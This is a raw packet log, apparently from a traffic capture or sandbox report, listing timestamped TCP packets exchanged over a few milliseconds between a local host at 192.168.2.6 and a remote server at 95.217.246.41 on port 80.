Nov 3, 2022 12:47:18.778398991 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778424025 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778433084 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778455973 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778465986 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778489113 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778500080 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778523922 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778532982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778557062 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778567076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778590918 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778600931 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778625011 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778634071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778656006 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778667927 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778687954 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778702974 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778723955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778736115 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778759003 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778769970 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778794050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778803110 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778827906 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778836966 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778857946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778872013 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778935909 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778956890 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779022932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779057980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779090881 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779103994 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779123068 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779134989 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779156923 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779176950 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779182911 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779218912 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779242992 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779252052 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779280901 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779284954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779314995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779319048 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779347897 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779352903 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779381990 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779387951 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779411077 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779422998 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779452085 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779457092 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779489040 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779493093 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779519081 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779526949 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779557943 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779563904 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779592991 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779599905 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779625893 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779635906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779670000 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779704094 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779715061 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779715061 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779736996 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779737949 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779766083 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779773951 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779798985 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779808044 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779841900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779841900 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779875994 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779906034 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779908895 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779906034 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779936075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779943943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.779972076 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.779977083 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780006886 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780013084 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780038118 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780049086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780072927 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780082941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780108929 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780117989 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780150890 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780153990 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780180931 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780199051 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780213118 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780232906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780253887 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780265093 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780297995 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780330896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780361891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780375004 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780375004 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780395031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780430079 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780457973 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780457973 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780457973 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780462980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780457973 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780498028 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780517101 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780517101 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780531883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780549049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780565023 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780587912 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780600071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780623913 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780632019 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780651093 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780663967 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780684948 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780698061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780719042 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780731916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780761003 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780762911 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780787945 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780797958 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780812979 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780831099 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780849934 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780864954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780884027 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780900955 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780934095 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780935049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780962944 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.780966997 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.780987024 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781002998 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781021118 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781037092 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781053066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781069994 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781085968 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781102896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781125069 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781137943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781160116 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781172037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781188011 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781213045 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781245947 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781250000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781276941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781280041 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781308889 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781310081 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781332970 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781342983 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781368017 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781378031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781395912 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781411886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781435013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781445026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781460047 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781482935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781501055 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781514883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781538963 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781548977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781563997 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781582117 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781600952 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781615019 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781629086 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781649113 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781682014 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781682014 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781709909 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781713963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781735897 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781749010 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781760931 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781781912 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781814098 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781846046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781848907 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781848907 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781884909 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781888962 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781905890 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781924963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.781946898 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.781996965 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782021046 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782028913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782047033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782062054 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782073975 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782097101 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782114029 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782130003 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782150030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782164097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782183886 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782196999 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782212973 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782231092 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782247066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782263041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782284021 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782296896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782310009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782331944 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782360077 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782366991 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782386065 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782399893 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782419920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782434940 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782455921 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782471895 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782491922 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782507896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782527924 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782542944 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782572985 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782577991 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782601118 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782613039 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782635927 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782650948 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782664061 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782684088 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782712936 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782717943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782737970 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782753944 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782783031 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782788038 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782809973 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782824993 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782859087 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782860041 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782934904 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782936096 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.782965899 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.782974005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.783010006 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.783031940 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.783031940 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.783044100 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.783062935 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.783107042 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.821480036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.821538925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.821579933 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.821620941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.821693897 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.821693897 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.821774006 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.821818113 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.821857929 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.821899891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.821923018 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.821923018 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.821923018 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.821923971 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.821940899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.821971893 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822010994 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822052002 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822091103 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822129965 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822170019 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822210073 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822232962 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822232962 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822233915 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822233915 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822233915 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822233915 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822233915 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822252035 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822282076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822309971 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822349072 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822387934 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822427988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822480917 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822529078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822567940 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822606087 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822644949 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822685003 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822725058 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822783947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822783947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822783947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822783947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822783947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822783947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822784901 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822784901 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.822936058 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.822981119 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.823020935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.823061943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.823101044 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.823141098 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.823182106 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.823221922 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.823265076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.823360920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823360920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823360920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823360920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823360920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823362112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823362112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823362112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823421001 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823421955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823421955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823421955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823421955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.823872089 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.823918104 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.823956013 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.823997021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824038029 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824078083 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824115992 CET	80	49708	95.217.246.41	192.168.2.6
